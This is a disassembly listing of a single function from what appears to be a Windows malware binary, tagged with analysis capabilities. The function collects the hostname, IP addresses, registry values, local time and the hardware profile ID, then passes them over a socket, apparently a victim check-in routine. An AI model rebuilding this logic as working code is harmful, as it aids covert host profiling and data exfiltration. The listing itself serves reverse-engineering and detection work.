Function at 0x14000275c
Capabilities:
Get hostname
Resolve dns

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 0x18], r8
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x288]
sub rsp, 0x360
mov r13, rcx
mov ebx, 0xf90
mov r14d, r9d
mov ecx, ebx
mov r15d, edx
call fcn.140020e60
mov r8d, ebx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.140021110
mov r12d, 0x100
lea rcx, [rsp + 0x60]
mov r8d, r12d
xor edx, edx
mov byte [rdi], 3
call fcn.140021110
lea rcx, [rbp + 0x60]
mov r8d, r12d
xor edx, edx
call fcn.140021110
lea rcx, [rbp + 0x60]
mov edx, r12d
call qword [sym.imp.WS2_32.dll_gethostname]
lea rcx, [rbp + 0x60]
call qword [sym.imp.WS2_32.dll_gethostbyname]
mov rbx, rax
test rax, rax
je 0x140002880
mov rcx, qword [rax + 0x18]
mov rdx, qword [rcx]
mov ecx, dword [rdx]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x60]
mov edx, r12d
mov r8, rax
call fcn.140021cd0
lea r8, str._n
lea rcx, [rsp + 0x60]
mov edx, r12d
call fcn.140021cd0
mov r11, qword [rbx + 0x18]
movsx rax, word [rbx + 0x12]
add rax, qword [r11]
cmp rax, qword [rbx]
jae 0x140002880
xor esi, esi
add rsi, 8
mov rax, qword [rsi + r11]
mov ecx, dword [rax]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rcx, [rsp + 0x60]
mov rdx, r12
mov r8, rax
call fcn.140021cd0
lea r8, str._n
lea rcx, [rsp + 0x60]
mov rdx, r12
call fcn.140021cd0
mov r11, qword [rbx + 0x18]
movsx rax, word [rbx + 0x12]
add rax, qword [rsi + r11]
cmp rax, qword [rbx]
jb 0x14000283a
and dword [rsp + 0x28], 0
and qword [rsp + 0x20], 0
or ebx, 0xffffffff
lea r8, [rsp + 0x60]
mov r9d, ebx
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea rsi, [rdi + 2]
lea r8, [rsp + 0x60]
mov dword [rsp + 0x28], eax
mov r9d, ebx
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
call fcn.14000163c
mov ebx, 0xa
lea rcx, [rdi + 0x200]
mov edx, ebx
lea r8, [0x14004082c]
test eax, eax
jne 0x1400028e4
lea r8, [0x140040830]
call fcn.140021428
lea rcx, [rdi + 0x598]
call fcn.14000141c
lea r12, [rdi + 0x796]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x38], 2
lea rcx, [0x140040848]
add eax, eax
lea rdx, [0x140040858]
test r14d, r14d
cmovne rdx, rcx
mov dword [rsp + 0x30], eax
and qword [rsp + 0x28], 0
lea r8, str.FENZU
mov rcx, 0xffffffff80000001
mov r9d, 1
mov qword [rsp + 0x20], r12
call fcn.14000178c
cmp eax, 1
jge 0x140002965
lea r8, [0x1400555ac]
mov edx, gethostbyname
mov rcx, r12
call fcn.140021428
lea r12, [rdi + 0x7fa]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x38], 2
lea r8, [0x140040878]
add eax, eax
lea rdx, [0x140040888]
test r14d, r14d
cmovne rdx, r8
mov dword [rsp + 0x30], eax
and qword [rsp + 0x28], 0
lea r8, [0x140040868]
mov r9d, 1
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], r12
call fcn.14000178c
cmp eax, 1
jge 0x1400029d5
lea r8, str.4.22
mov edx, gethostbyname
mov rcx, r12
call fcn.140021428
lea rdx, [rdi + 0x85e]
mov r9d, ebx
mov r8d, gethostbyname
mov ecx, r15d
call fcn.1400215a0
lea rcx, [rdi + 0x9a8]
call fcn.1400023c4
call fcn.140001670
lea rcx, [rdi + 0xa16]
mov rdx, rbx
lea r8, [0x140040834]
test eax, eax
jne 0x140002a1a
lea r8, [0x140040844]
call fcn.140021428
call fcn.140001558
lea rcx, [rdi + 0xc28]
mov rdx, rax
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx edx, word [rsp + 0x58]
movzx r8d, word [rsp + 0x56]
movzx r11d, word [rsp + 0x5c]
movzx eax, word [rsp + 0x5a]
movzx r10d, word [rsp + 0x52]
movzx r9d, word [rsp + 0x50]
mov dword [rsp + 0x40], r11d
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov r8, qword [rbp + 0x2a0]
lea rcx, [rdi + 0x8c2]
lea rdx, [0x1400408a0]
mov dword [rsp + 0x20], r10d
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rdi + 0x926]
lea rdx, [0x140040898]
call qword [sym.imp.USER32.dll_wsprintfW]
lea rcx, [rbp + 0x160]
call qword [sym.imp.ADVAPI32.dll_GetCurrentHwProfileW]
lea r9, [rdi + 0x318]
lea r8, [rdi + 0x2dc]
test eax, eax
lea rdx, [rdi + 0x214]
lea rcx, [rdi + 0xf2e]
lea rax, [rdi + 0xa0c]
je 0x140002ae9
lea r10, [rbp + 0x164]
mov qword [rsp + 0x30], r10
jmp 0x140002aef
and qword [rsp + 0x30], 0
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
call fcn.140002584
mov rax, qword [r13]
mov r8d, 0xf90
mov rdx, rdi
mov rcx, r13
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, rdi
mov ebx, eax
call fcn.140020df4
lea r11, [rsp + 0x360]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x48]
mov eax, ebx
mov rbx, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret